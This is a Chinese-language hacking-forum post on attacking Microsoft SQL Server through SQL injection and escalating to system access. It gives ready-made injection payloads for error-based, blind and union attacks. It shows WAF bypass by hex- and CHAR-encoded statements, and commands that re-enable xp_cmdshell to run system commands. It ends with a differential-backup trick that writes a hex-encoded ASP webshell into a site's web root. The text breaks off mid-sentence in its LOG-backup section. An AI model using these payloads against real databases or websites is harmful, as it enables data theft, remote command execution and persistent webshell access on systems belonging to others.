標題:MSSQL 注入與提權方法整理

taibeihacker

Moderator

MSSQL 注入与提权方法整理​

1 SQL Server 相关基础简介​

1.1 默认库介绍​

master - 用於記錄所有SQL Server 系統級別的信息,這些信息用於控制用戶數據庫和數據操作。
model - SQL Server 為用戶數據庫提供的樣板,新的用戶數據庫都以model 數據庫為基礎
msdb - 由Enterprise Manager 和Agent 使用,記錄著任務計劃信息、事件處理信息、數據備份及恢復信息、警告及異常信息。
tempdb - 它為臨時表和其他臨時工作提供了一個存儲區。
資訊
這裡我們經常要打交道的庫也就是master,其中儲存了所有數據庫名與存儲過程。類比於MySQL 中的information_schema 元數據庫。
20210120143745.png-water_print

以master 庫為例可以看到上面幾個類別,其中視圖表master.dbo.sysdatabases 儲存所有數據庫名,其他數據庫的視圖則儲存它本庫的表名與列名。每一個庫的視圖表都有syscolumns 存儲著所有的字段,可編程性儲存著我們的函數。
1
select name from master.dbo.sysdatabases;
查詢所有數據庫的名稱。

1.2 字段介绍​

1
select top 1 name,xtype from sysobjects;
xtype 可以是下列對像類型中的一種:
C=CHECK 約束
D=默認值或DEFAULT 約束
F=FOREIGN KEY 約束
L=日誌
FN=標量函數
IF=內嵌表函數
P=存儲過程
PK=PRIMARY KEY 約束(類型是K)
RF=複製篩選存儲過程
S=系統表
TF=表函數
TR=觸發器
U=用戶表
UQ=UNIQUE 約束(類型是K)
V=視圖
X=擴展存儲過程

2 SQL Server 信息收集​

2.1 权限判断​

SQL Server 內部按作用範圍來分有三大主體:
Windows 級別主體
服務器級別主體
數據庫級別主體
20210121092915.png-water_print

2.1.1 服务器级别​

在微軟的官方文檔中可以看到, IS_SRVROLEMEMBER ( 'role' [ , 'login' ] ) ,函數role 的有效值是用戶定義的服務器角色和以下固定服務器角色:
20210120145938.png-water_print

返回類型:
返回值
描述
0
login 不是role 的成員。
1
login 是role 的成員。
NULL
role 或login 無效,或者沒有查看角色成員身份的權限。
最終我們可以構造語句:
1
2
3
4
5
6
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
在SQLMap 中使用–is-dba 命令可以判斷是否為管理員權限
1
select * from admin where id=1 AND 5560 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)))

2.1.2 数据库级别的角色​

select IS_MEMBER('db_owner')
20210120150401.png-water_print

2.2 基本信息​

1
2
3
4
@@version //數據庫版本
user //獲取當前數據庫用戶名
db_name() //當前數據庫名其中db_name(N)可以來遍歷其他數據庫
;select user //查詢是否支持多語句

2.3 判断站库分离​

1
select * from info where id='1' and host_name()=@@servername;--'
最簡單的方法,當然你可以調用xp_cmdshell 就可以通過cmd 來判斷。
通過簡單的判斷數據庫版本,當前用戶權限,我們就可以想下一步怎麼去做,比如2005 的xp_cmdshell 的權限一般是system 而2008 的權限一般是ntauthority\network service

3 SQL Server 语法​

3.1 注释符号​

1
2
3
/*
--
;%00

3.2 空白字符​

1
2
3
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
/**/

3.3 运算符号​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
+ 加法運算
- 減法運算
* 乘法運算
/除法運算,如果兩個表達式值都是整數,那麼結果只取整數值,小數值將略去
% 取模運算,返回兩數相除後的餘數
位與邏輯運算,從兩個表達式中取對應的位。當且僅當輸入表達式中兩個位的值都為1 時,結果中的位才被設置為1,否則,結果中的位被設置為0
| 位或邏輯運算,從兩個表達式中取對應的位。如果輸入表達式中兩個位只要有一個的值為1 時,結果的位就被設置為1,只有當兩個位的值都為0 時,結果中的位才被設置為0
^ 位異或運算,從兩個表達式中取對應的位。如果輸入表達式中兩個位只有一個的值為1 時,結果中的位就被設置為1;只有當兩個位的值都為0 或1 時,結果中的位才被設置為0
=等於
不等於
大於
!=不等於
小於
! 不小於
=大於或等於
! 不大於
=小於或等於
ALL 如果一組的比較都為true,則比較結果為true
AND 如果兩個布爾表達式都為true,則結果為true;如果其中一個表達式為false,則結果為false
ANY 如果一組的比較中任何一個為true,則結果為true
BETWEEN 如果操作數在某個範圍之內,那麼結果為true
EXISTS 如果子查詢中包含了一些行,那麼結果為true
IN 如果操作數等於表達式列表中的一個,那麼結果為true
LIKE 如果操作數與某種模式相匹配,那麼結果為true
NOT 對任何其他布爾運算符的結果值取反
OR 如果兩個布爾表達式中的任何一個為true,那麼結果為true
SOME 如果在一組比較中,有些比較為true,那麼結果為true

3.4 语法定义符号​

1
2
3
4
5
6
7
8
9
尖括號,用於分隔字符串,字符串為語法元素的名稱,SQL 語言的非終結符。
:=定義操作符。用在生成規則中,分隔規則定義的元素和規則定義。 被定義的元素位於操作符的左邊,規則定義位於操作符的右邊。
[ ] 方括號表示規則中的可選元素。方括號中的規則部分可以明確指定也可以省略。
{ } 花括號聚集規則中的元素。在花括號中的規則部分必須明確指定。
() 括號是分組運算符

4 MSSQL 注入​

4.1 显错注入​

4.1.1 原理​

MSSQL 報錯注入利用的就是顯示或隱式轉換來報錯注入,比如以下就是典型的隱式轉換
1
2
3
4
5
select * from admin where id=1 and (select user)0--
select * from admin where id=1|(select user)--
在將nvarchar 值'dbo' 轉換成數據類型int 時失敗。
顯示轉換也就是利用函數來轉換,我們經常用到的兩個函數就是cast 和convert
1
2
3
select * from admin where id=1 (select CAST(USER as int))
select * from admin where id=1 (select convert(int,user))
判断当前数据库:id=1'and db_name()0;--
20210120152616.png-water_print

爆表名:id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--
20210120152643.png-water_print

爆列名:id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='admin') and name'id');--
20210120152732.png-water_print

爆数据:id=1' and 1=(select top 1 username from admin);--
20210120152807.png-water_print

4.1.2 其它用法​

當然查詢數據庫的所有表還可以使用INFORMATION_SCHEMA.TABLES
1
2
3
4
5
select * from INFORMATION_SCHEMA.TABLES
select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'
id=1 and 1=(select top 1 table_name from information_schema.tables);--
要判斷當前表名和列名,也可以使用having 1=1 和group by
id=1 having 1=1
20210120153503.png-water_print

爆出当前表和字段:id=1 group by info.id,info.name having 1=1
20210120153547.png-water_print

4.1.3 简单注入绕过​

這裡引入一個declare 函數,他是mssql 聲明局部變量的函數,我們經常用它來繞過waf 對一些關鍵詞的攔截
1
select * from admin where id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
declare 定義變量,set 設置變量值,exec 執行變量
變量的值是支持hex 和ascii 碼的,當過濾引號我們就可以這麼用把我們的語句編碼一下
1
2
3
select * from admin where id=1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
select * from admin where id=1;declare @s varchar(2000) set @s=CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

4.2 盲注​

其實跟mysql 大同小異無非就是分割字符串比較,但是mssql 的盲注套路確實沒那麼多。

4.2.1 布尔盲注​

1
id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))=109

4.2.2 时间盲注​

1
2
3
id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))1 WAITFOR DELAY '0:0:5'--

4.2 联合注入​

mssql 聯合注入我們一般不使用數字佔位,而是null,因為使用數字佔位可能會發生隱式轉換
id=1 union select null,name,pass from info
20210120161528.png-water_print

也可以利用如下方法:
id=1 SELECT 1 UNION (select CAST(USER as int))
20210120161612.png-water_print

5 MSSQL 提权​

20210120182207.png-water_print

5.1 备份拿 shell​

備份拿shell 也就涉及到了權限的問題,SA 權限不用說沒有降權的話基本能做任何事情了,它數據庫權限是db_owner,當然其他用戶如果也擁有db_owner 基本也可以通過備份拿下shell,但是在設置目錄權限後就不行了。

5.1.1 路径的寻找​

需要路徑的我們一般有幾個思路:
報錯尋找
字典
旁站信息收集
調用儲存過程來搜索
讀配置文件
這裡我們著重討論一下儲存過程也就是這些函數來找我們的網站根目錄。一般我們可以用xp_cmdshell、xp_dirtree、xp_dirtree、xp_subdirs
1
2
3
execute master.xp_dirtree 'c:' //列出所有c:\ 文件和目錄,子目錄
execute master.xp_dirtree 'c:',1 //只列c:\ 文件夾
execute master.xp_dirtree 'c:',1,1 //列c:\ 文件夾加文件
通過執行xp_dirtree 返回我們傳入的參數,如果沒有回顯的話,可以這樣創建一個臨時的表插入
1
2
3
id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
id=1;insert into tmp(dir,num,num1) execute master.xp_dirtree 'c:',1,1
xp_cmdshell 尋找路徑:
這個xp_cmdshell 找起來更加方便我們調用cmd的命令去搜索,比如我的web目錄有個1.aspx
1
2
C:\Users\Geefor /r c:\ %i in (1*.aspx) do @echo %i
c:\www\1.aspx
所以只需要建立一個表,存在一個char 字段就可以了。
1
2
3
id=1;CREATE TABLE cmdtmp (dir varchar(8000));
id=1;insert into cmdtmp(dir) exec master.xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
資訊
SQL Server 阻止了對組件xp_cmdshell 的過程sys.xp_cmdshell 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure 啟用。
如果遇到xp_cmdshell 不能調用,報錯,可用如下命令恢復:
1
2
3
4
5
//允許修改高級參數
;EXEC sp_configure 'show advanced options',1;RECONFIGURE;
//打開xp_cmdshell 擴展
;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

5.1.2 差异备份​

1
2
3
4
5
6
7
8
9
10
//完整備份一次(保存位置可以改)
backup database 庫名to disk='c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
//創建表cmd 並插入一句話木馬
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
//進行差異備份
backup database 庫名to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
差異備份有多種情況可能不成功,一般就是目錄權限的問題,第一次備份的目錄是否可能沒有權限,第二次備份到網站目錄是否有權限,所以一般不要直接備份到c 盤根目錄
當過濾了特殊的字符比如單引號,或者路徑符號都可以使用前面提到的定義局部變量來執行。

5.1.3 LOG 备份​

LOG 備份需要先把指定的數據庫激活為還原模式,所以需要執行alter database XXX set RECOVERY FUL,而差異備份不需要,所以只有這條語句的就是LOG 備份
LOG 備份的要求是目
 
返回
上方